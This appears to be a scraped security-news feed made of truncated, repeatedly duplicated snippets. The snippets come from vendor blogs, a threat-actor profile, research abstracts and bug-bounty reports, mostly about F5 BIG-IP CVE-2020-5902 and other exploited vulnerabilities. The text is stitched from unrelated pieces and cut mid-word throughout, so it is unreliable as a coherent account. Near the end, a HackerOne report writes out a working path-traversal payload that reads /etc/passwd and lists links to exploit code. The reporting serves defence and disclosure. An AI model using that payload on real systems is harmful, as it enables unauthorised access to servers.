On July 28, 2021, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) released a cybersecurity advisory detailing the top 30 publicly known vulnerabilities that have been routinely exploited by cyber threat actors in 2020 and 2021. Organizations are advised to prioritize and apply patches or workarounds for these vulnerabilities as soon as possible.
The advisory states, “If an organization is unable to update all software shortly after a patch is released, prioritize implementing patches for CVEs that are already known to be exploited or that would be accessible to the largest numbe
Talos
Quarterly Report: Incident Response trends from Spring 2021
blogs_talos·2021-06-10·CVSS 9.1
CVE-2021-26855 [CRITICAL] Quarterly Report: Incident Response trends from Spring 2021
## Quarterly Report: Incident Response trends from Spring 2021
By David Liebenberg and Caitlin Huey .
While the security community made a great effort to warn users of the exploitation of several Microsoft Exchange Server zero-day vulnerabilities , it was still the biggest threat Cisco Talos Incident Response (CTIR) saw this past quarter. These vulnerabilities, tracked as CVE-2021-26855, CVE-2021-26857, CVE-2021-26858 and CVE-2021-27065, comprised around 35 percent of all incidents investigated.
This shows that when a vulnerability is recently disclosed, severe, and widespread, CTIR will often see a corresponding rise in engagements in which the vulnerabilities in question are involved. Thankfully, the majority of these incidents involved scanning and not post-compromise behavior, such
Talos
Quarterly Report: Incident Response trends from Spring 2021
blogs_talos·2021-06-10·CVSS 9.1
CVE-2021-26855 [CRITICAL] Quarterly Report: Incident Response trends from Spring 2021
By David Liebenberg and Caitlin Huey.
While the security community made a great effort to warn users of the exploitation of several Microsoft Exchange Server zero-day vulnerabilities, it was still the biggest threat Cisco Talos Incident Response (CTIR) saw this past quarter. These vulnerabilities, tracked as CVE-2021-26855, CVE-2021-26857, CVE-2021-26858 and CVE-2021-27065, comprised around 35 percent of all incidents investigated.
This shows that when a vulnerability is recently disclosed, severe, and widespread, CTIR will often see a corresponding rise in engagements in which the vulnerabilities in question are involved. Thankfully, the majority of these incidents involved scanning and not post-compromise behavior, such as file encryption or evidence of exfiltration.
While CTIR’s focu
Trendmicro
Manage Zero Day Exploits (ZDI) with Trend Micro Solutions
blogs_trendmicro·2021-04-28
Manage Zero Day Exploits (ZDI) with Trend Micro Solutions
Cyberbedrohungen
## How Trend Micro Helps Manage Exploited Vulnerabilities
As technological innovations evolve, protecting companies from cyber threats tomorrow secures their businesses today. Read how Trend Micro protects customers from vulnerability exploits by blocking them as early as possible.
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As technological innovations evolve, protecting companies from cyber threats tomorrow secures their businesses today. Exploiting known vulnerabilities to successfully compromise an organization has long been a common tactic used by malicious actors. Whether Heartbleed, EternalBlue, or most recently Zerologon, threat actors take advantage of newly disclosed vulnerabilities in their attacks. But even with thousands of new vulnerabili
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Manage Zero Day Exploits (ZDI) with Trend Micro Solutions
blogs_trendmicro·2021-04-28
Manage Zero Day Exploits (ZDI) with Trend Micro Solutions
Cyber Threats
## How Trend Micro Helps Manage Exploited Vulnerabilities
As technological innovations evolve, protecting companies from cyber threats tomorrow secures their businesses today. Read how Trend Micro protects customers from vulnerability exploits by blocking them as early as possible.
By: Jon Clay 2021/04/28 Read time: ( words)
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As technological innovations evolve, protecting companies from cyber threats tomorrow secures their businesses today. Exploiting known vulnerabilities to successfully compromise an organization has long been a common tactic used by malicious actors. Whether Heartbleed, EternalBlue, or most recently Zerologon, threat actors take advantage of newly disclosed vulnerabilities in their attacks. But even with thousands of new vulnerabilities
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Manage Zero Day Exploits (ZDI) with Trend Micro Solutions
blogs_trendmicro·2021-04-28
Manage Zero Day Exploits (ZDI) with Trend Micro Solutions
Minacce cyber
## How Trend Micro Helps Manage Exploited Vulnerabilities
As technological innovations evolve, protecting companies from cyber threats tomorrow secures their businesses today. Read how Trend Micro protects customers from vulnerability exploits by blocking them as early as possible.
By: Jon Clay Apr 28, 2021 Read time: ( words)
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As technological innovations evolve, protecting companies from cyber threats tomorrow secures their businesses today. Exploiting known vulnerabilities to successfully compromise an organization has long been a common tactic used by malicious actors. Whether Heartbleed, EternalBlue, or most recently Zerologon, threat actors take advantage of newly disclosed vulnerabilities in their attacks. But even with thousands of new vulnerabilitie
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Manage Zero Day Exploits (ZDI) with Trend Micro Solutions
blogs_trendmicro·2021-04-28
Manage Zero Day Exploits (ZDI) with Trend Micro Solutions
Ciberamenazas
## How Trend Micro Helps Manage Exploited Vulnerabilities
As technological innovations evolve, protecting companies from cyber threats tomorrow secures their businesses today. Read how Trend Micro protects customers from vulnerability exploits by blocking them as early as possible.
By: Jon Clay Apr 28, 2021 Read time: ( words)
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As technological innovations evolve, protecting companies from cyber threats tomorrow secures their businesses today. Exploiting known vulnerabilities to successfully compromise an organization has long been a common tactic used by malicious actors. Whether Heartbleed, EternalBlue, or most recently Zerologon, threat actors take advantage of newly disclosed vulnerabilities in their attacks. But even with thousands of new vulnerabilitie
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Manage Zero Day Exploits (ZDI) with Trend Micro Solutions
blogs_trendmicro·2021-04-28
Manage Zero Day Exploits (ZDI) with Trend Micro Solutions
Cyber Threats
## How Trend Micro Helps Manage Exploited Vulnerabilities
As technological innovations evolve, protecting companies from cyber threats tomorrow secures their businesses today. Read how Trend Micro protects customers from vulnerability exploits by blocking them as early as possible.
By: Jon Clay Apr 28, 2021 Read time: ( words)
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As technological innovations evolve, protecting companies from cyber threats tomorrow secures their businesses today. Exploiting known vulnerabilities to successfully compromise an organization has long been a common tactic used by malicious actors. Whether Heartbleed, EternalBlue, or most recently Zerologon, threat actors take advantage of newly disclosed vulnerabilities in their attacks. But even with thousands of new vulnerabilitie
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Manage Zero Day Exploits (ZDI) with Trend Micro Solutions
blogs_trendmicro·2021-04-28
Manage Zero Day Exploits (ZDI) with Trend Micro Solutions
Cyber Threats
# How Trend Micro Helps Manage Exploited Vulnerabilities
As technological innovations evolve, protecting companies from cyber threats tomorrow secures their businesses today. Read how Trend Micro protects customers from vulnerability exploits by blocking them as early as possible.
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As technological innovations evolve, protecting companies from cyber threats tomorrow secures their businesses today. Exploiting known vulnerabilities to successfully compromise an organization has long been a common tactic used by malicious actors. Whether Heartbleed, EternalBlue, or most recently Zerologon, threat actors take advantage of newly disclosed vulnerabilities in their attacks. But even with thousands o
Talos
Quarterly Report: Incident Response trends from Winter 2020-21
blogs_talos·2021-03-24
Quarterly Report: Incident Response trends from Winter 2020-21
For the seventh quarter in a row, Cisco Talos Incident Response (CTIR) observed ransomware dominating the threat landscape. The top variants were Ryuk and Vatet, which is notable given the absence of Ryuk last quarter. We also observed variants of Egregor and WastedLocker continuing to target organizations across the globe.
Unlike last quarter, however, these ransomware attacks overwhelmingly relied on phishes delivering commodity trojan maldocs, such as Zloader, BazarLoader and IcedID. Nearly 70 percent of ransomware attacks relied on commodity trojans this quarter. Adversaries also employ commercially available tools such as Cobalt Strike, open-source post-exploitation tools like Bloodhound, and native tools on the victim’s system, such as PowerShell. For a broader breakdown of these tr
Talos
Quarterly Report: Incident Response trends from Winter 2020-21
blogs_talos·2021-03-24
Quarterly Report: Incident Response trends from Winter 2020-21
## Quarterly Report: Incident Response trends from Winter 2020-21
For the seventh quarter in a row, Cisco Talos Incident Response (CTIR) observed ransomware dominating the threat landscape. The top variants were Ryuk and Vatet, which is notable given the absence of Ryuk last quarter . We also observed variants of Egregor and WastedLocker continuing to target organizations across the globe.
Unlike last quarter, however, these ransomware attacks overwhelmingly relied on phishes delivering commodity trojan maldocs, such as Zloader, BazarLoader and IcedID . Nearly 70 percent of ransomware attacks relied on commodity trojans this quarter. Adversaries also employ commercially available tools such as Cobalt Strike, open-source post-exploitation tools like Bloodhound, and native tools on the vic
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CVE-2021-22986: F5 Patches Several Critical Vulnerabilities in BIG-IP, BIG-IQ
blogs_tenable·2021-03-11·CVSS 9.8
[CRITICAL] CVE-2021-22986: F5 Patches Several Critical Vulnerabilities in BIG-IP, BIG-IQ
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CVE-2021-21972: VMware vCenter Server Remote Code Execution Vulnerability
blogs_tenable·2021-02-24·CVSS 9.8
[CRITICAL] CVE-2021-21972: VMware vCenter Server Remote Code Execution Vulnerability
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CVE-2021-20016: Zero-Day Vulnerability in SonicWall Secure Mobile Access (SMA) Exploited in the Wild
blogs_tenable·2021-02-04·CVSS 9.8
[CRITICAL] CVE-2021-20016: Zero-Day Vulnerability in SonicWall Secure Mobile Access (SMA) Exploited in the Wild
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Securelist
ddos-attacks-in-q2-2020
blogs_securelist·2020-10-28·CVSS 8.8
[HIGH] ddos-attacks-in-q2-2020
Table of Contents
- News overview
- Quarter trends
- Quarter statistics
- Quarter results
- Conclusion
Authors
- Oleg Kupreev
- Alexander Gutnikov
- Ekaterina Badovskaya
## News overview
Q3 was relatively calm from a DDoS perspective. There were no headline innovations, although cybercriminals did continue to master techniques and develop malware already familiar to us from the last reporting period. For example, another DDoS botnet joined in the assault on Docker environments. The perpetrators infiltrated the target server, created an infected container, and placed in it the Kaiten bot (also known as Tsunami), paired with a cryptominer.
The Lucifer botnet, which first appeared on researchers’ radar last quarter, and knows all about DDoS attacks and cryptocurrency mining, got an upd
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DDoS attacks in Q3 2020
blogs_securelist·2020-10-28·CVSS 8.8
[HIGH] DDoS attacks in Q3 2020
Table of Contents
News overview
Quarter trends
Quarter statistics
Methodology
Quarter results
Attack geography
Dynamics of the number of DDoS attacks
Duration and types of DDoS attacks
Conclusion
Authors
Oleg Kupreev
Alexander Gutnikov
Ekaterina Badovskaya
## News overview
Q3 was relatively calm from a DDoS perspective. There were no headline innovations, although cybercriminals did continue to master techniques and develop malware already familiar to us from the last reporting period. For example, another DDoS botnet joined in the assault on Docker environments. The perpetrators infiltrated the target server, created an infected container, and placed in it the Kaiten bot (also known as Tsunami), paired with a cryptominer.
The Lucifer botnet, which first appeared on researc
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Government Agencies Warn of State-Sponsored Actors Exploiting Publicly Known Vulnerabilities
blogs_tenable·2020-10-23
Government Agencies Warn of State-Sponsored Actors Exploiting Publicly Known Vulnerabilities
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Qualys
NSA Alert: Chinese State-Sponsored Actors Exploit Known Vulnerabilities | Qualys
blogs_qualys·2020-10-22·CVSS 9.8
CVE-2020-15505 [CRITICAL] NSA Alert: Chinese State-Sponsored Actors Exploit Known Vulnerabilities | Qualys
#### Table of Contents
- Detect 25 Publicly Known Vulnerabilities using VMDR
Update November 25, 2020: The UK National Cyber Security Centre alerts that APT nation-state groups and cybercriminals are exploiting MobileIron RCE vulnerability (CVE-2020-15505).
Original post: On October 20, 2020, the United States National Security Agency (NSA) released a cybersecurity advisory on Chinese state-sponsored malicious cyber activity. The NSA alert provided a list of 25 publicly known vulnerabilities that are known to be recently leveraged by cyber actors for various hacking operations.
“Since these techniques include exploitation of publicly known vulnerabilities, it is critical that network defenders prioritize patching and
mitigation efforts,” said the NSA advisory. It also recommended “crit
Qualys
NSA Alert: Chinese State-Sponsored Actors Exploit Known Vulnerabilities
blogs_qualys·2020-10-22·CVSS 10.0
CVE-2020-15505 [CRITICAL] NSA Alert: Chinese State-Sponsored Actors Exploit Known Vulnerabilities
## Table of Contents
Detect 25 Publicly Known Vulnerabilities using VMDR
Update November 25, 2020 : The UK National Cyber Security Centre alerts that APT nation-state groups and cybercriminals are exploiting MobileIron RCE vulnerability (CVE-2020-15505).
Original post : On October 20, 2020, the United States National Security Agency (NSA) released a cybersecurity advisory on Chinese state-sponsored malicious cyber activity. The NSA alert provided a list of 25 publicly known vulnerabilities that are known to be recently leveraged by cyber actors for various hacking operations.
“Since these techniques include exploitation of publicly known vulnerabilities, it is critical that network defenders prioritize patching and mitigation efforts,” said the NSA advisory. It also recommended “critic
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CVE-2020-1472: Advanced Persistent Threat Actors Use Zerologon Vulnerability In Exploit Chain with Unpatched Vulnerabilities
blogs_tenable·2020-10-12·CVSS 5.5
[MEDIUM] CVE-2020-1472: Advanced Persistent Threat Actors Use Zerologon Vulnerability In Exploit Chain with Unpatched Vulnerabilities
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US Cybersecurity Agency CISA Alert: Foreign Threat Actors Continue to Target Unpatched Vulnerabilities
blogs_tenable·2020-09-17
US Cybersecurity Agency CISA Alert: Foreign Threat Actors Continue to Target Unpatched Vulnerabilities
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Exploits in the Wild for vBulletin Pre-Auth RCE Vulnerability CVE-2020-17496
blogs_unit42·2020-09-03·CVSS 9.8
CVE-2020-17496 [CRITICAL] Exploits in the Wild for vBulletin Pre-Auth RCE Vulnerability CVE-2020-17496
## Executive Summary
In September 2019, a remote code execution (RCE) vulnerability identified as CVE-2019-16759 was disclosed for vBulletin, a popular forum software. At that time, Unit 42 researchers published a blog on this vBulletin vulnerability, analyzing its root cause and the exploit we found in the wild. By exploiting this vulnerability, an attacker could have gained privileged access and control over any vBulletin server running versions 5.0.0 up to 5.5.4, and potentially lock organizations out from their own sites.
Recently, Unit 42 researchers found exploits in the wild leveraging the vBulletin pre-auth RCE vulnerability CVE-2020-17496. The exploits are a bypass of the fix for the previous vulnerability, CVE-2019-16759, which allows attackers to send a crafted HTTP request wi
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Exploits in the Wild for vBulletin Pre-Auth RCE Vulnerability CVE-2020-17496
blogs_unit42·2020-09-03·CVSS 9.8
CVE-2020-17496 [CRITICAL] Exploits in the Wild for vBulletin Pre-Auth RCE Vulnerability CVE-2020-17496
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## Exploits in the Wild for vBulletin Pre-Auth RCE Vulnerability CVE-2020-17496
Haozhe Zhang
Qi Deng
Zhibin Zhang
Ruchna Nigam
Published: September 3, 2020
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Vulnerabilities
CVE-2019-16759
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## Executive Summary
In September 2019, a remote code execution (RCE) vulnerability identified as CVE-2019-16759 was disclosed for vBulletin, a popular forum software. At that time, Unit 42 researchers published a blog on this vBulletin vulnerability , analyzing its root cause and the exploit we found in the wild. By exploiting this vulnerability, an attacker could have gained privileged access and control over any vBulletin server running versions 5.0.0 up to 5.5.4, and potentially lock organi
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Mirai Botnet Attack IoT Devices via CVE-2020-5902
blogs_trendmicro·2020-07-28·CVSS 9.8
CVE-2020-5902 [CRITICAL] Mirai Botnet Attack IoT Devices via CVE-2020-5902
## Mirai Botnet Attack IoT Devices via CVE-2020-5902
Based on the workaround published for CVE-2020-5902, we found a Mirai botnet downloader that can be added to new malware variants to scan for exposed Big-IP boxes for intrusion and deliver the malicious payload.
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Update as of 10:00 A.M. PST, July 30, 2020: Our continued analysis of the malware sample showed adjustments to the details involving the URI and Shodan scan parameters. We made the necessary changes in this post. We would like to thank F5 Networks for reaching out to us to clarify these details.
Following the initial disclosure of two F5 BIG-IP vulnerabilities on the first week of July, we continued monitoring and analyzing the vulnerabilit
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Mirai Botnet Attack IoT Devices via CVE-2020-5902
blogs_trendmicro·2020-07-28·CVSS 9.8
CVE-2020-5902 [CRITICAL] Mirai Botnet Attack IoT Devices via CVE-2020-5902
## Mirai Botnet Attack IoT Devices via CVE-2020-5902
Based on the workaround published for CVE-2020-5902, we found a Mirai botnet downloader that can be added to new malware variants to scan for exposed Big-IP boxes for intrusion and deliver the malicious payload.
By: Augusto Remillano II, Jemimah Molina Jul 28, 2020 Read time: ( words)
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Update as of 10:00 A.M. PST, July 30, 2020: Our continued analysis of the malware sample showed adjustments to the details involving the URI and Shodan scan parameters. We made the necessary changes in this post. We would like to thank F5 Networks for reaching out to us to clarify these details.
Following the initial disclosure of two F5 BIG-IP vulnerabilities on the first week of July, we continued monitoring and analyzing the vulnerabil
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Mirai Botnet Attack IoT Devices via CVE-2020-5902
blogs_trendmicro·2020-07-28·CVSS 9.8
CVE-2020-5902 [CRITICAL] Mirai Botnet Attack IoT Devices via CVE-2020-5902
# Mirai Botnet Attack IoT Devices via CVE-2020-5902
Based on the workaround published for CVE-2020-5902, we found a Mirai botnet downloader that can be added to new malware variants to scan for exposed Big-IP boxes for intrusion and deliver the malicious payload.
By: Augusto Remillano II, Jemimah Molina
2020/07/28
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Update as of 10:00 A.M. PST, July 30, 2020: Our continued analysis of the malware sample showed adjustments to the details involving the URI and Shodan scan parameters. We made the necessary changes in this post. We would like to thank F5 Networks for reaching out to us to clarify these details.
Following the initial disclosure of two F5 BIG-IP vulnerabilities on the first week of July, we continued monitoring and analyzing the vulnerabilit
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27th July – Threat Intelligence Bulletin
blogs_checkpoint·2020-07-27
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Check Point Research has found a long-term evolving phishing campaign turning to Google Cloud Storage and Google Cloud Functions to host phishing pages and steal users’ e-mail credentials.
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CVE-2020-3452: Cisco Adaptive Security Appliance and Firepower Threat Defense Path Traversal Vulnerability
blogs_tenable·2020-07-23·CVSS 7.5
[HIGH] CVE-2020-3452: Cisco Adaptive Security Appliance and Firepower Threat Defense Path Traversal Vulnerability
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CVE-2020-8193, CVE-2020-8195, and CVE-2020-8196: Active Exploitation of Citrix Vulnerabilities
blogs_tenable·2020-07-15·CVSS 6.5
[MEDIUM] CVE-2020-8193, CVE-2020-8195, and CVE-2020-8196: Active Exploitation of Citrix Vulnerabilities
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This Week in Security News: 07/10/2020
blogs_trendmicro·2020-07-10·CVSS 8.8
[HIGH] This Week in Security News: 07/10/2020
Exploits & Vulnerabilities
## This Week in Security News: 07/10/2020
This week, read about how fifteen billion usernames and passwords for a range of internet services are currently for sale on underground forums.
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This Week in Security News: 07/10/2020
blogs_trendmicro·2020-07-10·CVSS 8.8
[HIGH] This Week in Security News: 07/10/2020
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## This Week in Security News: 07/10/2020
This week, read about how fifteen billion usernames and passwords for a range of internet services are currently for sale on underground forums.
By: Jon Clay Jul 10, 2020 Read time: ( words)
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Welcome to our weekly roundup, where we share what you need to know about the cybersecurity news and events that happened over the past few days. This week, read about how fifteen billion usernames and passwords for a range of internet services are currently for sale on underground forums. Also, learn about a new Mirai variant that exploits nine vulnerabilities, most notable of which is CVE-2020-10173. Read on:
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This Week in Security News: 07/10/2020
blogs_trendmicro·2020-07-10·CVSS 8.8
[HIGH] This Week in Security News: 07/10/2020
Exploits & Vulnerabilities
# This Week in Security News: 07/10/2020
This week, read about how fifteen billion usernames and passwords for a range of internet services are currently for sale on underground forums.
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2020/07/10
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This Week in Security News: 07/10/2020
blogs_trendmicro·2020-07-10·CVSS 8.8
[HIGH] This Week in Security News: 07/10/2020
Exploits & Vulnerabilities
## This Week in Security News: 07/10/2020
This week, read about how fifteen billion usernames and passwords for a range of internet services are currently for sale on underground forums.
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This Week in Security News: 07/10/2020
blogs_trendmicro·2020-07-10·CVSS 8.8
[HIGH] This Week in Security News: 07/10/2020
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## This Week in Security News: 07/10/2020
This week, read about how fifteen billion usernames and passwords for a range of internet services are currently for sale on underground forums.
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This Week in Security News: 07/10/2020
blogs_trendmicro·2020-07-10·CVSS 8.8
[HIGH] This Week in Security News: 07/10/2020
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## This Week in Security News: 07/10/2020
This week, read about how fifteen billion usernames and passwords for a range of internet services are currently for sale on underground forums.
By: Jon Clay Jul 10, 2020 Read time: ( words)
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Welcome to our weekly roundup, where we share what you need to know about the cybersecurity news and events that happened over the past few days. This week, read about how fifteen billion usernames and passwords for a range of internet services are currently for sale on underground forums. Also, learn about a new Mirai variant that exploits nine vulnerabilities, most notable of which is CVE-2020-10173. Read on:
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F5 BIG-IP Remote Code Execution Vulnerability (CVE-2020-5902)
blogs_qualys·2020-07-06·CVSS 9.8
CVE-2020-5902 [CRITICAL] F5 BIG-IP Remote Code Execution Vulnerability (CVE-2020-5902)
## Table of Contents
Vulnerability Details:
Exploitation:
Affected products:
Using VMDR, Identify the Presence of CVE-2020-5902 and Management Interface on F5 Big-IP Remotely
Qualys Threat Protection
Risk-Based Prioritization of F5 BIG-IP Vulnerability
Workaround
References & Sources:
Update July 10, 2020 : F5 updated their mitigation section of security advisory on July 8, 2020 at 17:00 Pacific time, and provided a new mitigation mechanism to help customers mitigate currently known unauthenticated exploits. Qualys also updated QID 38791 to reflect these changes and are available in VULNSIGS version 2.4.935-3 and above.
Update July 8, 2020 : F5 updated the security advisory again on July 8, 2020, at 09:30 PT, saying that “all previously provided mitigations are not completely eff
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New Snort rule addresses critical vulnerability in F5 BIG-IP
blogs_talos·2020-07-06·CVSS 9.8
CVE-2020-5902 [CRITICAL] New Snort rule addresses critical vulnerability in F5 BIG-IP
By Jon Munshaw.
Cisco Talos just released Snort coverage for a prominent vulnerability in F5’s BIG-IP.
BIG-IP is one of the most popular networking products on the modern market. This product is used to shape web traffic, access gateways, limit rates and much more. F5 disclosed a remote code execution over the weekend that was assigned a maximum 10 out of 10 severity score.
CVE-2020-5902is a remote code execution vulnerability in BIG-IP's configuration interface. Users are urged to make their interfaces inaccessible to the internet and patch as soon as possible. The latest Snort rule set also includes rule 54462 to protect users from the exploitation of this vulnerability.
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F5 BIG-IP Remote Code Execution Vulnerability (CVE-2020-5902) | Qualys
blogs_qualys·2020-07-06·CVSS 9.8
CVE-2020-5902 [CRITICAL] F5 BIG-IP Remote Code Execution Vulnerability (CVE-2020-5902) | Qualys
#### Table of Contents
- Vulnerability Details:
- Exploitation:
- Affected products:
- Using VMDR, Identify the Presence of CVE-2020-5902 and Management Interface on F5 Big-IP Remotely
- Qualys Threat Protection
- Risk-Based Prioritization of F5 BIG-IP Vulnerability
- Workaround
- References & Sources:
Update July 10, 2020: F5 updated their mitigation section of security advisory on July 8, 2020 at 17:00 Pacific time, and provided a new mitigation mechanism to help customers mitigate currently known unauthenticated exploits.
Qualys also updated QID 38791 to reflect these changes and are available in VULNSIGS version 2.4.935-3 and above.
Update July 8, 2020: F5 updated the security advisory again on July 8, 2020, at 09:30 PT, saying that “all previously provided mitigations are not compl
Talos
New Snort rule addresses critical vulnerability in F5 BIG-IP
blogs_talos·2020-07-06·CVSS 9.8
CVE-2020-5902 [CRITICAL] New Snort rule addresses critical vulnerability in F5 BIG-IP
## New Snort rule addresses critical vulnerability in F5 BIG-IP
By Jon Munshaw.
Cisco Talos just released Snort coverage for a prominent vulnerability in F5’s BIG-IP.
BIG-IP is one of the most popular networking products on the modern market. This product is used to shape web traffic, access gateways, limit rates and much more. F5 disclosed a remote code execution over the weekend that was assigned a maximum 10 out of 10 severity score.
CVE-2020-5902 is a remote code execution vulnerability in BIG-IP's configuration interface. Users are urged to make their interfaces inaccessible to the internet and patch as soon as possible. The latest Snort rule set also includes rule 54462 to protect users from the exploitation of this vulnerability.
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6th July – Threat Intelligence Bulletin
blogs_checkpoint·2020-07-06
CVE-2020-5902 6th July – Threat Intelligence Bulletin
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Roblox, a multiplayer game platform, has suffered a data breach in which more than 1,800 user profiles were defaced with messages in support of Donald Trump’s reelection campaign, and their avatars’ clothes were changed to look like the President’s. The Roblox credentials were publised on Pastebin and social media.
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CVE-2020-5902: Critical Vulnerability in F5 BIG-IP Traffic Management User Interface (TMUI) Actively Exploited
blogs_tenable·2020-07-06·CVSS 9.8
[CRITICAL] CVE-2020-5902: Critical Vulnerability in F5 BIG-IP Traffic Management User Interface (TMUI) Actively Exploited
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threat_intel·CVSS 9.8
[CRITICAL] BackdoorDiplomacy (BackdoorDiplomacy)
# Threat Actor Profile: BackdoorDiplomacy
ATT&CK ID: G0135
Also known as: BackdoorDiplomacy
## Overview
BackdoorDiplomacy is a cyber espionage threat group that has been active since at least 2017. BackdoorDiplomacy has targeted Ministries of Foreign Affairs and telecommunication companies in Africa, Europe, the Middle East, and Asia.(Citation: ESET BackdoorDiplomacy Jun 2021)
## Techniques (TTPs)
### Resource Development
- T1588.002 Tool
Usage: BackdoorDiplomacy has obtained a variety of open-source reconnaissance and red team tools for discovery and lateral movement.(Citation: ESET BackdoorDiplomacy Jun 2021)
- T1588.001 Malware
Usage: BackdoorDiplomacy has obtained and used leaked malware, including DoublePulsar, EternalBlue, EternalRocks, and EternalSynergy, in its operations.(Citat
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VulRG: Multi-Level Explainable Vulnerability Patch Ranking for Complex Systems Using Graphs
arxiv_fulltext·2025-02-16
VulRG: Multi-Level Explainable Vulnerability Patch Ranking for Complex Systems Using Graphs
VulRG: Multi-Level Explainable Vulnerability Patch Ranking for Complex Systems Using Graphs
Yuning Jiang
[email protected]
0000-0003-4791-8452
National University of Singapore
Singapore
Nay Oo
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NCS Cyber Special Ops R&D
Singapore
Qiaoran Meng
[email protected]
National University of Singapore
Singapore
Hoon Wei Lim
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NCS Cyber Special Ops R&D
Singapore
Biplab Sikdar
[email protected]
National University of Singapore
Singapore
Jiang et al.
## Abstract
As interconnected systems proliferate, safeguarding complex infrastructures against an escalating array of cyber threats has become an urgent challenge. The growing number of vulnerabilities, coupled with resource constraints, makes addressing every vulnerability impractical, thereby rende
arXiv
Microservice Vulnerability Analysis: A Literature Review with Empirical Insights
arxiv_fulltext·2024-07-31
Microservice Vulnerability Analysis: A Literature Review with Empirical Insights
Microservice Vulnerability Analysis: A Literature Review with Empirical Insights
Raveen Kanishka Jayalath*
University of Adelaide, Australia
[email protected]
Hussain Ahmad* *Authors contributed equally to this work. Corresponding author.
University of Adelaide, Australia
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Diksha Goel
CSIRO's Data61, Australia
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3cmMuhammad Shuja Syed
3cmSLB, USA
[email protected]
Faheem Ullah
University of Adelaide, Australia
[email protected]
plain
## Abstract
Microservice architectures are revolutionizing both small businesses and large corporations, igniting a new era of innovation with their exceptional advantages in maintainability, reusability, and scalability. However, these benefits come w
arXiv
HeATed Alert Triage (HeAT): Transferrable Learning to Extract Multistage Attack Campaigns
arxiv_fulltext·2022-12-28
HeATed Alert Triage (HeAT): Transferrable Learning to Extract Multistage Attack Campaigns
HeATed Alert Triage (HeAT): Transferrable Learning to Extract Multistage Attack Campaigns
Stephen Moskal, Shanchieh Jay Yang
Rochester Institute of Technology, Rochester, NY, USA
## Abstract
With growing sophistication and volume of cyber attacks combined with complex network structures, it is becoming extremely difficult for security analysts to corroborate evidences to identify multistage campaigns on their network.
This work develops HeAT (Heated Alert Triage): given a critical indicator of compromise (IoC), a severe IDS alert, HeAT produces a HeATed Attack Campaign (HAC) depicting the multistage activities that led up to the critical event.
We define the concept of ``Alert Episode Heat" to represent the analysts opinion of how much an event contributes to the attack campaign of the
HackerOne
CVE-2020-5902: CVE-2020-5902
**CVE ID: ** CVE-2020-5902
**Description:**
Affected Product: F5 BIG-IP Traffic Management User Interface (TMUI)
Severity: Critical
CV
hackerone·2024-12-24·CVSS 9.8
CVE-2020-5902 [CRITICAL] CVE-2020-5902: CVE-2020-5902
**CVE ID: ** CVE-2020-5902
**Description:**
Affected Product: F5 BIG-IP Traffic Management User Interface (TMUI)
Severity: Critical
CV
CVE-2020-5902
**CVE ID: ** CVE-2020-5902
**Description:**
Affected Product: F5 BIG-IP Traffic Management User Interface (TMUI)
Severity: Critical
CVSS Score: 9.8
Description: Remote Code Execution (RCE) vulnerability in undisclosed pages of the TMUI
CVE-2020-5902 is a critical vulnerability affecting the BIG-IP Traffic Management User Interface (TMUI), also known as the Configuration utility. This vulnerability allows for Remote Code Execution (RCE) in undisclosed pages of the TMUI.
Affected Versions
BIG-IP versions ████
BIG-IP versions █████
BIG-IP versions ███
BIG-IP versions ███
BIG-IP versions ███
## Steps To Reproduce:
## URL :
███
payload used :/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
Full URL:
█████████?fileName=/etc/passwd
## Impact
## Summary:
The vulner
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F5 BIG-IP TMUI RCE - CVE-2020-5902 (██.packet8.net)
hackerone·2022-03-25·CVSS 9.8
CVE-2020-5902 [CRITICAL] F5 BIG-IP TMUI RCE - CVE-2020-5902 (██.packet8.net)
F5 BIG-IP TMUI RCE - CVE-2020-5902 (██.packet8.net)
@remonsec reported to us a vulnerability in F5 BIG-IP's Traffic Management User Interface (TMUI), which exploited, could have led to RCE (in undisclosed pages): [CVE-2020-5902](https://support.f5.com/csp/article/K52145254)
We swiftly applied the fix to the F5 BIG-IP & restricted access further, which resolved the issue.
http://packetstormsecurity.com/files/158333/BIG-IP-TMUI-Remote-Code-Execution.htmlhttp://packetstormsecurity.com/files/158334/BIG-IP-TMUI-Remote-Code-Execution.htmlhttp://packetstormsecurity.com/files/158366/F5-BIG-IP-TMUI-Directory-Traversal-File-Upload-Code-Execution.htmlhttp://packetstormsecurity.com/files/158414/Checker-CVE-2020-5902.htmlhttp://packetstormsecurity.com/files/158581/F5-Big-IP-13.1.3-Build-0.0.6-Local-File-Inclusion.htmlhttp://packetstormsecurity.com/files/175671/F5-BIG-IP-TMUI-Directory-Traversal-File-Upload-Code-Execution.htmlhttps://badpackets.net/over-3000-f5-big-ip-endpoints-vulnerable-to-cve-2020-5902/https://github.com/Critical-Start/Team-Ares/tree/master/CVE-2020-5902https://support.f5.com/csp/article/K52145254https://swarm.ptsecurity.com/rce-in-f5-big-ip/https://www.criticalstart.com/f5-big-ip-remote-code-execution-exploit/https://www.kb.cert.org/vuls/id/290915http://packetstormsecurity.com/files/158333/BIG-IP-TMUI-Remote-Code-Execution.htmlhttp://packetstormsecurity.com/files/158334/BIG-IP-TMUI-Remote-Code-Execution.htmlhttp://packetstormsecurity.com/files/158366/F5-BIG-IP-TMUI-Directory-Traversal-File-Upload-Code-Execution.htmlhttp://packetstormsecurity.com/files/158414/Checker-CVE-2020-5902.htmlhttp://packetstormsecurity.com/files/158581/F5-Big-IP-13.1.3-Build-0.0.6-Local-File-Inclusion.htmlhttp://packetstormsecurity.com/files/175671/F5-BIG-IP-TMUI-Directory-Traversal-File-Upload-Code-Execution.htmlhttps://badpackets.net/over-3000-f5-big-ip-endpoints-vulnerable-to-cve-2020-5902/https://github.com/Critical-Start/Team-Ares/tree/master/CVE-2020-5902https://support.f5.com/csp/article/K52145254https://swarm.ptsecurity.com/rce-in-f5-big-ip/https://www.criticalstart.com/f5-big-ip-remote-code-execution-exploit/https://www.kb.cert.org/vuls/id/290915https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2020-5902
2020-07-01
Published
2021-11-03
Added to CISA KEV
Exploited in the wild